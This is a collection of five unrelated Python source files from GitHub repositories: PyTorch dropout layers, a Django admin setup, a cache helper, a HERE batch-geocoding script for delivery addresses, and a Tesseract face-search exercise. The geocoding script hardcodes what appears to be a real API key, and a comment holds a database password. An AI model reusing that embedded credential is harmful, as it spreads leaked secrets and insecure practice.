{"seq_id":"28211254753","text":"import numpy as np\n\nimport torch\nimport torch.nn.functional as F\n\nimport libs.support.utils as utils\n\n## Dropout ✿\nclass ContextDropout(torch.nn.Module):\n    \"\"\"It dropouts values in the context (frame/time) dimensionality. \n    Different to specaugment (see libs/egs/augmentation.py), it is not continuous.\n    \"\"\"\n    def __init__(self, p=0.):\n        super(ContextDropout, self).__init__()\n\n        self.p = p\n        self.dropout2d = torch.nn.Dropout2d(p=p)\n\n    def forward(self, inputs):\n        \"\"\"\n        @inputs: a 3-dimensional tensor (a batch), including [samples-index, frames-dim-index, frames-index]\n        \"\"\"\n        outputs = self.dropout2d(inputs.transpose(1,2)).transpose(1,2)\n        return outputs\n\n\nclass RandomDropout(torch.nn.Module):\n    \"\"\"Implement random dropout.\n    Reference: Bouthillier, X., Konda, K., Vincent, P., & Memisevic, R. (2015). \n               Dropout as data augmentation. arXiv preprint arXiv:1506.08700. \n    \"\"\"\n    def __init__(self, p=0.5, start_p=0., dim=2, method=\"uniform\", inplace=True):\n        super(RandomDropout, self).__init__()\n\n        assert 0. <= start_p <= p < 1.\n\n        self.start_p = start_p\n        self.p = p\n        self.dim = dim\n        self.method = method\n        self.inplace = inplace\n        self.init_value = torch.tensor(1.)\n\n        if self.dim != 1 and self.dim != 2 and self.dim != 3:\n            raise TypeError(\"Expected dim = 1, 2 or 3, but got {}\".format(self.dim))\n\n        if self.method != \"uniform\" and self.method != \"normal\":\n            raise TypeError(\"Do not support {} method for random dropout.\".format(self.method))\n\n        if self.method == \"normal\":\n            self.mean = self.p / 2\n            self.std = 0.01**self.p\n        \n\n    def forward(self, inputs):\n        if self.training and self.p > 0.:\n            if self.method == \"uniform\":\n                # For step training when p decay to mini value.\n                if self.start_p > self.p:\n                    self.start_p = self.p\n                self.init_value.uniform_(self.start_p, self.p)\n            else:\n                # Only take (0, self.p) of the gaussian curve.\n               self.init_value = self.init_value.normal_(self.mean, self.std).clamp(min=0., max=self.p)\n\n            if self.dim == 1:\n                outputs = F.dropout(inputs, self.init_value, inplace=self.inplace)\n            elif self.dim == 2:\n                outputs = F.dropout2d(inputs, self.init_value, inplace=self.inplace)\n            else:\n                outputs = F.dropout3d(inputs, self.init_value, inplace=self.inplace)\n            return outputs\n        else:\n            return inputs\n\n\nclass NoiseDropout(torch.nn.Module):\n    \"\"\"Implement noise dropout.\n    Reference: [1] Srivastava, N., Hinton, G., Krizhevsky, A., Sutskever, I., & Salakhutdinov, R. (2014). \n               Dropout: a simple way to prevent neural networks from overfitting. The journal of machine \n               learning research, 15(1), 1929-1958. \n\n               [2] Li, X., Chen, S., Hu, X., & Yang, J. (2019). Understanding the disharmony between dropout \n               and batch normalization by variance shift. Paper presented at the Proceedings of the IEEE \n               Conference on Computer Vision and Pattern Recognition.\n\n               [3] Shen, X., Tian, X., Liu, T., Xu, F., & Tao, D. (2017). Continuous dropout. IEEE transactions \n               on neural networks and learning systems, 29(9), 3926-3937. \n\n    \"\"\"\n    def __init__(self, p=0.5, dim=2, method=\"uniform\", continuous=False, inplace=True):\n        super(NoiseDropout, self).__init__()\n\n        assert 0. <= p < 1.\n\n        self.p = p\n        self.dim = dim\n        self.method = method\n        self.continuous = continuous\n        self.inplace = inplace\n\n        if self.dim != 1 and self.dim != 2 and self.dim != 3:\n            raise TypeError(\"Expected dim = 1, 2 or 3, but got {}\".format(self.dim))\n\n        if self.method != \"uniform\" and self.method != \"normal\":\n            raise TypeError(\"Do not support {} method for random dropout.\".format(self.method))\n\n        if self.method == \"normal\":\n            self.std = (self.p / (1 - self.p))**(0.5)\n        else:\n            self.a = -self.p + 1 # From (-p, p) to (-p+1, p+1) for x. = x(1+r), r~U(-p, p) and 1+r~U(-p+1,p+1)\n            self.b = self.p + 1\n\n        self.init = False # To speed up the computing.\n\n    def forward(self, inputs):\n        if self.training and self.p > 0.:\n            if not self.init:\n                input_size = inputs.shape\n                if self.dim == 1:\n                    noise_size = (input_size[0], input_size[1], input_size[2])\n                elif self.dim == 2:\n                    # Apply the same noise for every frames (a.k.a channels) in one sample.\n                    noise_size = (input_size[0], input_size[1], 1)\n                else:\n                    noise_size = (input_size[0], input_size[1], 1, 1)\n\n                self.r = torch.randn(noise_size, device=inputs.device)\n\n                self.init = True\n\n            if self.method == \"uniform\":\n                if self.continuous:\n                    self.r.uniform_(0, 1)\n                else:\n                    self.r.uniform_(self.a, self.b)\n            else:\n                if self.continuous:\n                    self.r.normal_(0.5, self.std).clamp_(min=0.,max=1.)\n                else:\n                    self.r.normal_(1, self.std).clamp_(min=0.)\n\n            if self.inplace:\n                return inputs.mul_(self.r)\n            else:\n                return inputs * self.r\n        else:\n            return inputs\n\n\nclass SpecAugment(torch.nn.Module):\n    \"\"\"Implement specaugment for acoustics features' augmentation but without time wraping.\n    It is different to egs.augmentation.SpecAugment for all egs have a same dropout method in one batch here.\n\n    Reference: Park, D. S., Chan, W., Zhang, Y., Chiu, C.-C., Zoph, B., Cubuk, E. D., & Le, Q. V. (2019). \n               Specaugment: A simple data augmentation method for automatic speech recognition. arXiv \n               preprint arXiv:1904.08779.\n\n    Likes in Compute Vision: \n           [1] DeVries, T., & Taylor, G. W. (2017). Improved regularization of convolutional neural networks \n               with cutout. arXiv preprint arXiv:1708.04552.\n\n           [2] Zhong, Z., Zheng, L., Kang, G., Li, S., & Yang, Y. (2017). Random erasing data augmentation. \n               arXiv preprint arXiv:1708.04896. \n    \"\"\"\n    def __init__(self, frequency=0.2, frame=0.2, rows=1, cols=1, random_rows=False, random_cols=False):\n        super(SpecAugment, self).__init__()\n\n        assert 0. <= frequency < 1.\n        assert 0. <= frame < 1. # a.k.a time axis.\n\n        self.p_f = frequency\n        self.p_t = frame\n\n        # Multi-mask.\n        self.rows = rows # Mask rows times for frequency.\n        self.cols = cols # Mask cols times for frame.\n\n        self.random_rows = random_rows\n        self.random_cols = random_cols\n\n        self.init = False\n\n    def __call__(self, inputs):\n        \"\"\"\n        @inputs: a 3-dimensional tensor, including [batch, frenquency, time]\n        \"\"\"\n        assert len(inputs.shape) == 3\n\n        if not self.training: return inputs\n\n        if self.p_f > 0. or self.p_t > 0.:\n            if not self.init:\n                input_size = (inputs.shape[1], inputs.shape[2])\n                if self.p_f > 0.:\n                    self.num_f = input_size[0] # Total channels.\n                    self.F = int(self.num_f * self.p_f) # Max channels to drop.\n                if self.p_t > 0.:\n                    self.num_t = input_size[1] # Total frames. It requires all egs with the same frames.\n                    self.T = int(self.num_t * self.p_t) # Max frames to drop.\n                self.init = True\n\n            if self.p_f > 0.:\n                if self.random_rows:\n                    multi = np.random.randint(1, self.rows+1)\n                else:\n                    multi = self.rows\n\n                for i in range(multi):\n                    f = np.random.randint(0, self.F + 1)\n                    f_0 = np.random.randint(0, self.num_f - f + 1)\n                    inverted_factor = self.num_f / (self.num_f - f)\n                    inputs[f_0:f_0+f,:].fill_(0.)\n                    inputs.mul_(inverted_factor)\n\n            if self.p_t > 0.:\n                if self.random_cols:\n                    multi = np.random.randint(1, self.cols+1)\n                else:\n                    multi = self.cols\n\n                for i in range(multi):\n                    t = np.random.randint(0, self.T + 1)\n                    t_0 = np.random.randint(0, self.num_t - t + 1)\n                    inputs[:,t_0:t_0+t].fill_(0.)\n\n        return inputs\n\n\n## Wrapper ✿\n# Simple name for calling.\ndef get_dropout(p=0., dropout_params={}):\n    return get_dropout_from_wrapper(p=p, dropout_params=dropout_params)\n\ndef get_dropout_from_wrapper(p=0., dropout_params={}):\n\n    assert 0. <= p < 1.\n\n    default_dropout_params = {\n            \"type\":\"default\", # default | random\n            \"start_p\":0.,\n            \"dim\":2,\n            \"method\":\"normal\",\n            \"continuous\":False,\n            \"inplace\":True,\n            \"frequency\":0.2,\n            \"frame\":0.2,\n            \"rows\":1, \n            \"cols\":1, \n            \"random_rows\":False, \n            \"random_cols\":False\n        }\n\n    dropout_params = utils.assign_params_dict(default_dropout_params, dropout_params)\n    name = dropout_params[\"type\"]\n\n    if p == 0:\n        return None\n\n    if name == \"default\":\n        return get_default_dropout(p=p, dim=dropout_params[\"dim\"], inplace=dropout_params[\"inplace\"])\n    elif name == \"random\":\n        return RandomDropout(p=p, start_p=dropout_params[\"start_p\"], dim=dropout_params[\"dim\"], \n                             method=dropout_params[\"method\"], inplace=dropout_params[\"inplace\"])\n    elif name == \"alpha\":\n        return torch.nn.AlphaDropout(p=p, inplace=dropout_params[\"inplace\"])\n    elif name == \"context\":\n        return ContextDropout(p=p)\n    elif name == \"noise\":\n        return NoiseDropout(p=p, dim=dropout_params[\"dim\"], method=dropout_params[\"method\"],\n                            continuous=dropout_params[\"continuous\"],inplace=dropout_params[\"inplace\"])\n    else:\n        raise TypeError(\"Do not support {} dropout in current wrapper.\".format(name))\n\ndef get_default_dropout(p=0., dim=2, inplace=True):\n    \"\"\"Wrapper for torch's dropout.\n    \"\"\"\n    if dim == 1:\n        return torch.nn.Dropout(p=p, inplace=inplace)\n    elif dim == 2:\n        return torch.nn.Dropout2d(p=p, inplace=inplace)\n    elif dim == 3:\n        return torch.nn.Dropout3d(p=p, inplace=inplace)\n    else:\n        raise TypeError(\"Expected dim = 1, 2 or 3, but got {}\".format(dim))\n","repo_name":"Snowdar/asv-subtools","sub_path":"pytorch/libs/nnet/dropout.py","file_name":"dropout.py","file_ext":"py","file_size_in_byte":10768,"program_lang":"python","lang":"en","doc_type":"code","stars":548,"dataset":"github-code","pt":"35"}
{"seq_id":"12596184005","text":"from django.contrib import admin\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.admin import UserAdmin\nfrom django.utils.html import format_html\nfrom .models import Topic, Author, UserExt, Task, Lesson, Stage, Edge\n\nimport collections\n\n\n########################### Topics ###########################\n\nclass TopicInline(admin.StackedInline):\n    fields = ['name']\n    model = Topic\n    extra = 1\n\n\n@admin.register(Topic)\nclass TopicAdmin(admin.ModelAdmin):\n    fields = ['name', 'supertopic']\n    list_display = ('display_name', 'supertopic_name', 'topo_order')\n    # readonly_fields = ('supertopic',)\n    # list_select_related = ('supertopic',)\n\n    inlines = [TopicInline]\n    actions = ['topo_sort']\n\n    @admin.action(description=\"Recompute topological order\")\n    def topo_sort(self, request, queryset):\n        Topic.objects.get(name=\"__root__\").topo_sort()\n\n\n########################### Users ###########################\n\nadmin.site.unregister(User)\n\n\nclass UserExtInline(admin.StackedInline):\n    model = UserExt\n    fieldsets = (\n        (None, {'fields': ('codeforces', 'infoarena', 'varena'), }),\n        # ('Progress', {'fields': ('current_lesson',)}),\n    )\n    readonly_fields = ('codeforces', 'infoarena', 'varena')\n\n\n@admin.register(User)\nclass UserCustomAdmin(UserAdmin):\n    inlines = UserAdmin.inlines + [UserExtInline]\n\n\n########################### Authors ###########################\n\n@admin.register(Author)\nclass AuthorAdmin(admin.ModelAdmin):\n    fields = ['name', 'user']\n    list_display = ('name', 'user_link')\n    list_display_links = ('name', 'user_link')\n\n    # In case you want to link an author to their account, comment this line\n    # readonly_fields = ('user',)\n\n    def user_link(self, obj):\n        if obj.user is None:\n            return None\n        return format_html(\"<a href='/admin/auth/user/{pk}'>{username}</a>\", pk=obj.user.pk, username=obj.user)\n\n\n########################### Tasks ###########################\n\n@admin.register(Task)\nclass TaskAdmin(admin.ModelAdmin):\n    list_display = ('title', 'source', 'description', 'task_link', 'solution_link')\n    list_display_links = ('title', 'task_link', 'solution_link')\n    fieldsets = (\n        (None, {'fields': ('title', 'source', 'link', 'description', 'solution', 'tags')}),\n        ('Hints', {\n            'fields': ('hints', ('hint1', 'hint2', 'hint3')),\n            'classes': ('collapse',),\n        }),\n    )\n\n    def task_link(self, obj):\n        return format_html(\"<a href='{url}'>{url}</a>\", url=obj.link)\n    task_link.short_description = \"Link to task\"\n\n    def solution_link(self, obj):\n        if obj.solution is None:\n            return None\n        return format_html(\"<a href='{url}'>Solution</a>\", url=obj.solution)\n    solution_link.short_description = \"Link to solution\"\n\n\n########################### Lessons ###########################\n\ndef topo_sort(stages=None):\n    if stages is None:\n        stages = Stage.objects.all().order_by('index')\n    for stage in stages:\n        start = []\n        dep_count = {}\n\n        for lesson in Lesson.objects.filter(stage=stage):\n            if lesson.ins.filter(src__stage=stage).count() == 0:\n                upper = 0\n                for edge in lesson.ins.all():\n                    upper = max(upper, edge.src.stage.index)\n                start.append((lesson, upper))\n                print(lesson, upper)\n            else:\n                dep_count[lesson] = lesson.ins.filter(src__stage=stage).count()\n                # print(lesson, dep_count[lesson])\n\n        print(start)\n        q = collections.deque([x[0] for x in sorted(start, key=lambda item: item[1])])\n        lvl = 0\n        count_lvl = 0\n        while q:\n            node = q.popleft()\n\n            if count_lvl == 3:\n                lvl += 1\n                count_lvl = 0\n            else:\n                for edge in node.ins.all():\n                    dep = edge.src\n                    if dep.stage == stage and dep.level == lvl:\n                        lvl += 1\n                        count_lvl = 0\n                        break\n\n            node.level = lvl\n            node.save()\n            count_lvl += 1\n\n            for edge in node.outs.all():\n                if edge.dest.stage == stage:\n                    next = edge.dest\n                    dep_count[next] -= 1\n                    if dep_count[next] == 0:\n                        q.append(next)\n\n\nclass LessonInline(admin.TabularInline):\n    fields = ['src', 'hidden']\n    model = Edge\n    fk_name = 'dest'\n    extra = 1\n\n\n@admin.register(Lesson)\nclass LessonAdmin(admin.ModelAdmin):\n    list_display = ('title', 'stage', 'level', 'topic', 'author')\n    fieldsets = (\n        (None, {'fields': (('title', 'author'), 'topic', 'stage', 'level')}),\n        ('Content', {'fields': ('duration', 'content')}),\n        ('Extra', {'fields': ('tasks',)}),\n    )\n    readonly_fields = ['level']\n    inlines = [LessonInline]\n\n    actions = ['topo_sort_all', 'topo_sort_stage']\n    list_filter = ['stage', 'author']\n\n    @admin.action(description=\"Recompute ALL topological order\")\n    def topo_sort_all(self, request, queryset):\n        Lesson.objects.all().update(level=None)\n        topo_sort()\n\n    @admin.action(description=\"Recompute SINGLE topological order\")\n    def topo_sort_stage(self, request, queryset):\n        stage = queryset.all()[0].stage\n        Lesson.objects.filter(stage=stage).update(level=None)\n        topo_sort([stage])\n\n\n########################### Stages ###########################\n\n# admin.site.register(Stage)\n\n@admin.register(Stage)\nclass StageAdmin(admin.ModelAdmin):\n    list_display = ('name', 'index')","repo_name":"Oepeling/DuoAlgo","sub_path":"backend/DuoAlgo/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":5642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3863007548","text":"from django.core.cache import cache\nimport uuid\n\n\ndef namespace_get(logger, key):\n\t\"\"\"Acquire the current namespace for a specified set of keys\n\n\t\"\"\"\n\n\tlogger.debug('Checking namespace for %s' % key)\n\n\t# Check the cache for the key in question\n\t# e.g. 'events_ns'\n\tns = cache.get(key)\n\n\t# If the namespace does not exist, set it with a unique number\n\t# created with UUID\n\tif ns == None:\n\t\tlogger.debug('cache miss: %s' % key)\n\n\t\t# Create the unique namespace\n\t\tns = uuid.uuid4().hex\n\t\tlogger.debug('Unique namespace created for %s: %s' % (key, ns))\n\n\t\t# We'll use add here instead of set just in case someone beat us\n\t\t# to adding it\n\t\tns_add = cache.add(key, ns)\n\t\tif not ns_add:\n\t\t\tlogger.debug('Could not add unique namespace for %s: %s.  The key was already added' % (key, ns))\n\t\t\t# Ok then get it from memcached\n\t\t\tns = cache.get(key)\n\t\telse:\n\t\t\tlogger.debug('Unique namespace successfully added for %s: %s.' % (key, ns))\n\telse:\n\t\tlogger.debug('cache hit: %s' % key)\n\n\tlogger.debug('Namespace for %s: %s' % (key, ns))\n\treturn ns\n\n\n","repo_name":"tomalessi/statusdashboard","sub_path":"ssd/dashboard/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"35641236384","text":"\nimport os\nimport sys\nimport csv\nimport io\nimport pandas as pd\nimport geopandas as gpd\nimport requests\nimport urllib\nimport json\nimport time\nimport zipfile\nimport fiona\n\n\n# read order csv(order_201xQx.csv)\ncsv_file_path = input(\"input your order.csv path here\") # e.g. ../order_2012Q1.csv , seperate each order csv file into different folder to avoid overwrite\nwrite_path = os.path.dirname(csv_file_path)\nfile_name = os.path.basename(csv_file_path)\ndata = pd.read_csv(csv_file_path)\ndf = data.copy()\ndf['product_id'] = df['product_id'].astype(int)\ndf['arrival_zip_code'] = df['arrival_zip_code'].astype(int)\ndf['redelivery_count'] = df['redelivery_count'].fillna(0)\ndf['redelivery_count'] = df['redelivery_count'].astype(int)\ndf['package_id'] = df['package_id'].astype(object)\ndf.head()\nprint(\"csv size: \"+str(len(df)))\n\n\n# # remove and count the consecutive duplicates:\n# not using set to remove all duplicates because after geocoding, the long/lat information is added back to the csv, so we keep the order and the consecutive duplicates count\n\naddress_list=[]\nduplicates_count_list=[]\nfirst = True\nduplicates_count=1\nfor a,b in zip(df['arrival_zip_code'], df['arrival_address']):\n    address = str(a)+b\n    if first:\n        address_list.append(address)\n        duplicates_count_list.append(1)\n        first=False\n    else:\n        if address!=address_list[-1]:\n            address_list.append(address)\n            duplicates_count_list[-1]=duplicates_count\n            duplicates_count_list.append(1)\n            duplicates_count=1\n        else:\n            duplicates_count+=1\n            \nif address==address_list[-1]:\n    duplicates_count_list[-1]=duplicates_count\n    \nprint(\"addresses: \"+str(len(address_list)))\nprint(\"sum of duplicate_count_list(should be equal to csv size): \"+ str(sum(duplicates_count_list)))\n\n# # remove redundant information(e.g. remove address after 號，since floor number etc does not affect geocoding results)\ni=0\nfor each in address_list:\n    if \"號\" in each: #only roughly 5000 has no \"號\"\n        address_list[i]=each.split(\"號\")[0]+\"號\"\n    i+=1\n\n\n# # Write addresses into text file for batch geocoding:\n\n# check if geocoding batch result file already exist, if so, skip geocoding process,\n# if you wish to redo the geocoding for update, delete the result file in the dir.\nresult1_file = []\nif os.path.exists(os.path.join(write_path,\"batch1\")):\n    result1_file = [each for each in os.listdir(os.path.join(write_path,\"batch1\")) if \"result\" in each and \".txt\" in each] #check the latest result .txt\n\nresult2_file = []\nif os.path.exists(os.path.join(write_path, \"batch2\")):\n    result2_file = [each for each in os.listdir(os.path.join(write_path, \"batch2\")) if \"result\" in each and \".txt\" in each]\n\nif len(result1_file)==0 or (len(address_list) >= 1000000 and len(result2_file)==0):\n    print(\"you don't have your geocoding result file in the directory yet, start geocoding process, if you already have a result file \"+\n          \"and want to use that, please move it under the result folder and kill the execution and rerun\")\n    start_time = time.time()\n    if len(address_list) >= 1000000: # if more than 1million addresses, we seperate them into 2 batches\n        with open(os.path.join(write_path,\"address_1.txt\"), 'w', encoding=\"utf-8\") as f1, open(os.path.join(write_path,\"address_2.txt\"), 'w') as f2:\n        #     f.write(f\"searchText,country\\n\")\n            f1.write(f\"recId|searchText|country\\n\")\n            f2.write(f\"recId|searchText|country\\n\")\n            i=0\n            #geocoding allows 1 million records at most\n            for each in address_list[:999999]:\n                i+=1\n                f1.write(f\"{i}|{each}|TWN\\n\")\n            for each in address_list[999999:]:#everthing above 1000000th\n                i+=1\n                f2.write(f\"{i}|{each}|TWN\\n\")\n    else:\n        with open(os.path.join(write_path,\"address.txt\"), 'w', encoding=\"utf-8\") as f:\n        #     f.write(f\"searchText,country\\n\")\n            f.write(f\"recId|searchText|country\\n\")\n            i=0\n            for each in address_list:\n                i+=1\n                f.write(f\"{i}|{each}|TWN\\n\")\n\n\n    output = io.StringIO()\n    output2 = io.StringIO()\n    if len(address_list) >= 1000000:\n        with open(os.path.join(write_path,\"address_1.txt\"), 'r', encoding=\"utf-8\") as f1, open(os.path.join(write_path,\"address_2.txt\"), 'r') as f2:\n            readCSV = csv.reader(f1)\n            readCSV2 = csv.reader(f2)\n            for row in readCSV:\n                writer = csv.writer(output)\n                writer.writerow(row)\n            for row in readCSV2:\n                writer = csv.writer(output2)\n                writer.writerow(row)\n\n    else:\n        with open(os.path.join(write_path,\"address.txt\"), 'r', encoding=\"utf-8\") as f:\n            readCSV = csv.reader(f)\n            for row in readCSV:\n                writer = csv.writer(output)\n                writer.writerow(row)\n\n    data = output.getvalue()\n    data2 = output2.getvalue()\n\n\n    headers = {'Content-Type': 'text/plain; charset=utf-8'}\n    #apiKey: get yours by registering here api account\n    apiKey=\"5_2-PtL6gVbpibCFAh4cm7ROZoQfwgi08LDWHIKdt-0\"\n        #\"PAR6gIZQYbyC1QNM-Al0DqPBNMbQjUEEdNeicAU_Fbc\"\n    #output file columns, locationLabel:normalized addresses generated by here geocoding api\n    outcols=\"locationLabel,displayLatitude,displayLongitude\"\n    # ,houseNumber,street,district,city,postalCode,county,state,country\"\n\n\n    response = requests.post('https://batch.geocoder.ls.hereapi.com/6.2/jobs?apiKey='+apiKey+\n                             '&indelim=%7C&outdelim=%7C&action=run&outcols='+outcols+'&outputcombined=false',\n                             headers=headers, data=data.encode('utf-8'))\n    print(response.content)\n\n\n    if data2!=\"\" and len(result2_file)==0:\n        response2 = requests.post('https://batch.geocoder.ls.hereapi.com/6.2/jobs?apiKey='+apiKey+\n                                 '&indelim=%7C&outdelim=%7C&action=run&outcols='+outcols+'&outputcombined=false',\n                                 headers=headers, data=data2.encode('utf-8'))\n        print(response2.content)\n\n\n    # # Output geocoding, click the link to download the text file:\n    # Large number of addresses: line will not be valid until batch job is finished on the server(1million of addresses takes around 1 hours)\n    if len(result1_file)==0:\n        requestId = response.text[response.text.index(\"<RequestId>\")+11:response.text.index(\"</RequestId>\")]\n        download_url = \"https://batch.geocoder.ls.hereapi.com/6.2/jobs/\"+ requestId+ \"/result?apiKey=\"+apiKey\n        print(\"batch 1: \"+download_url)\n\n    if data2!=\"\" and len(result2_file)==0:\n        requestId2 = response2.text[response2.text.index(\"<RequestId>\")+11:response2.text.index(\"</RequestId>\")]\n        download_url2 = \"https://batch.geocoder.ls.hereapi.com/6.2/jobs/\"+ requestId2+ \"/result?apiKey=\"+apiKey\n        print(\"batch 2: \"+ download_url2)\n\n        # download geocoded zip file to the path and unzip, need to wait for larger batch's url to be valid.\n        r2 = requests.get(download_url2, stream=True)\n        #batch2 might finish first because it's the second half chunk (much smaller, only few hundreds rows in our dataset), so we download it first\n        while \"404\" in str(r2):\n            print(\"batch 2:\" + r2.content.decode())\n            print(\"wait until batch job completes\")\n            time.sleep(10) # recheck the link every 10 secs\n            r2 = requests.get(download_url2, stream=True)\n\n        print(\"batch 2 job completed\")\n        z2 = zipfile.ZipFile(io.BytesIO(r2.content))\n        z2.extractall(os.path.join(write_path,\"batch2\"))#  avoid overlap\n        result2_file = [each for each in os.listdir(os.path.join(write_path, \"batch2\")) if \"result\" in each and \".txt\" in each]  # there should be result file at this point\n\n    if len(result1_file) == 0:\n        r = requests.get(download_url, stream=True)\n        while \"404\" in str(r):\n            # since batch 1 is close to 1 million records, it takes around 30mins to 1h depending on the server's current workload, so we recheck every 10 mins\n            print(\"batch 1:\" + r.content.decode())\n            print(\"wait until batch job completes(check every 5 mins)\")\n            for i in range(300):\n                time.sleep(1)\n            r = requests.get(download_url, stream=True)\n\n        print(\"batch 1 job completed\")\n        z = zipfile.ZipFile(io.BytesIO(r.content))\n        z.extractall(os.path.join(write_path,\"batch1\"))\n        result1_file = [each for each in os.listdir(os.path.join(write_path,\"batch1\")) if \"result\" in each and \".txt\" in each] # there should be result file at this point\n    print(time.time()-start_time)\nelse:\n    print(\"you already have your geocoding results file in place, skip geocoding api call, if you wish to redo geocoding process, delete the old result file and rerun\")\n\n# # Add lat/long to the original order_201X_qX.csv:\n#roughly takes a min\nprint(\"Add lat/long to the original csv:\")\nstart_time=time.time()\ndf[\"lat\"]=\"\"\ndf[\"long\"]=\"\"\ndf = df.drop(columns='arrival_address_normalized', errors='ignore')\ndf.insert(df.columns.get_loc(\"arrival_address\")+1, \"arrival_address_normalized\",\"\")\nnormalized_add_index = df.columns.get_loc(\"arrival_address_normalized\")\n#read the output geocode txt file\ntry:\n    with open(os.path.join(write_path,\"batch1\",result1_file[-1]), 'r', encoding=\"utf-8\") as f:\n        i = 0\n        batch=0\n        next(f)\n        recId_latest=0\n        for row in f:\n            row = row.split(\"|\")\n            recId = int(row[0])\n            if recId_latest != recId: # if not repeat with previous\n                recId_latest = recId\n    #             print(i, recId-1)\n                if i != recId-1:\n                    batch+=duplicates_count_list[i]\n                    i+=1\n                lat_long = row[-2],row[-1].strip()\n                normalized_add=row[-3]\n                # print(i,lat_long)\n                repeat_in_a_row = duplicates_count_list[i]\n                df.iloc[batch:batch+repeat_in_a_row, -2:] =[lat_long]\n                df.iloc[batch:batch+repeat_in_a_row, normalized_add_index] = normalized_add\n                batch+=duplicates_count_list[i]\n\n                i+=1\n    #         else:\n    #             print(\"repeat\")\n\n    if len(result2_file)!=0:\n        with open(os.path.join(write_path,\"batch2\",result2_file[-1]), 'r', encoding=\"utf-8\") as f:\n            i = 999999 #continue from 1000000th record\n    #         batch=0\n            next(f)\n            recId_latest=0\n            for row in f:\n                row = row.split(\"|\")\n                recId = int(row[0])\n                if recId_latest != recId: # if not repeat with previous\n                    recId_latest = recId\n        #             print(i, recId-1)\n                    if i != recId-1:\n                        batch+=duplicates_count_list[i]\n                        i+=1\n                    lat_long = row[-2],row[-1].strip()\n                    normalized_add=row[-3]\n        #             print(i,lat_long)\n                    repeat_in_a_row = duplicates_count_list[i]\n                    df.iloc[batch:batch+repeat_in_a_row, -2:] =[lat_long]\n                    df.iloc[batch:batch+repeat_in_a_row, normalized_add_index] = normalized_add\n                    batch+=duplicates_count_list[i]\n\n                    i+=1\n        #         else:\n        #             print(\"repeat\")\n    else:\n        print(\"No second batch need to read\")\nexcept Exception as e:\n    #if no second batch\n    print(e)\n\ndf['long'] = pd.to_numeric(df['long'], errors='coerce')\ndf['lat'] = pd.to_numeric(df['lat'], errors='coerce')\nprint(time.time()-start_time)\n\n# # write to csv file(optional):\n# geocoded_csv_path = os.path.join(write_path,file_name[:-4]+\"_geocoded.csv\")\n# df.to_csv(geocoded_csv_path, encoding='utf-8', index=False)\n\n\n# # Convert to Geopackage file:\n\n#generate geometry datas using latitude and longtitude\n# data = pd.read_csv(geocoded_csv_path,encoding=\"UTF-8\")\nprint(\"generating geometry point from coordinates\")\ndata_gdf = gpd.GeoDataFrame(df, geometry = gpd.points_from_xy(df['long'], df['lat']))\n\n#takes 5 to 10 minutes\nprint(\"start generate gpkg file...\")\nstart_time=time.time()\n# shp file has size limit of 2gb, so use geopackage instead, faster when importing\ndata_gdf.to_file(os.path.join(write_path,file_name[:-4]+\".gpkg\") ,driver=\"GPKG\",encoding=\"utf-8\")\nprint(time.time()-start_time)\n\nprint(\"done, you can see your gpkg file in the folder\")\n#in cmd type :ogr2ogr -f PostgreSQL PG:\"dbname='final_project' host='localhost' port='5432' user='postgres' password='1234'\" path/order_2011Q1.gpkg\n","repo_name":"nicklee828/adb_geocoding","sub_path":"adb_geocoding.py","file_name":"adb_geocoding.py","file_ext":"py","file_size_in_byte":12647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3720225069","text":"import zipfile\r\nfrom zipfile import ZipFile\r\n\r\nfrom PIL import Image, ImageDraw\r\nimport pytesseract\r\nimport cv2 as cv\r\nimport numpy as np\r\n\r\npytesseract.pytesseract.tesseract_cmd = r\"C:\\Program Files\\Tesseract-OCR\\tesseract.exe \"\r\n\r\n# loading the face detection classifier\r\nface_cascade = cv.CascadeClassifier('D:/Python/tesseract_final_project/haarcascade_frontalface_default.xml')\r\ndata={}\r\n\r\nwith ZipFile(\"D:/Python/tesseract_final_project/small_img.zip\", \"r\") as files:\r\n        for file in files.infolist():\r\n            with files.open(file, \"r\") as image:\r\n                img=Image.open(image).convert(\"RGB\")\r\n                data[file.filename]={\"pillow\":img}\r\n                \r\nfor entry in data.keys():\r\n    image=data[entry]['pillow']\r\n    text=pytesseract.image_to_string(image)\r\n    data[entry]['text']=text\r\n\r\n\r\nfor entry in data.keys():\r\n    image=data[entry][\"pillow\"]\r\n\r\n    img_array=np.array(image)\r\n    gray=cv.cvtColor(img_array, cv.COLOR_BGR2GRAY)\r\n\r\n    faces=face_cascade.detectMultiScale(gray)\r\n    data[entry][\"faces\"]=[]\r\n\r\n    for x,y,w,h in faces:\r\n        face=image.crop((x,y, x+w, y+h))\r\n        data[entry][\"faces\"].append(face)\r\n\r\n\r\nfor entry in data.keys():\r\n    for image in data[entry][\"faces\"]:\r\n        image.thumbnail((100, 100), Image.ANTIALIAS) \r\n\r\n\r\ndef search(word):\r\n    for entry in data.key():\r\n        if word in data[entry][\"text\"]:\r\n            if len(data[entry][\"faces\"] !=0):\r\n                print(\"Result found in file {}\".format(entry))\r\n                row=round(len(data[entry][\"faces\"])/5,0)\r\n                c_sheet=Image.new(\"RGB\", (500, 100*row))\r\n\r\n                x=0\r\n                y=0\r\n\r\n                for image in data[entry][\"faces\"]:\r\n                    c_sheet.paste(image, (x,y))\r\n\r\n                    if x+100==c_sheet.width:\r\n                        x=0\r\n                        y+=100\r\n                    else:\r\n                        x+=100\r\n\r\n                    c_sheet.show()\r\n\r\n            else:\r\n                print(\"Result found in file {} \\nBut there were no faces in that file\\n\\n\".format(entry))               \r\n\r\n    return\r\n\r\nsearch(\"Christopher\")\r\n","repo_name":"deep-narang/Tesseract","sub_path":"project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":2146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
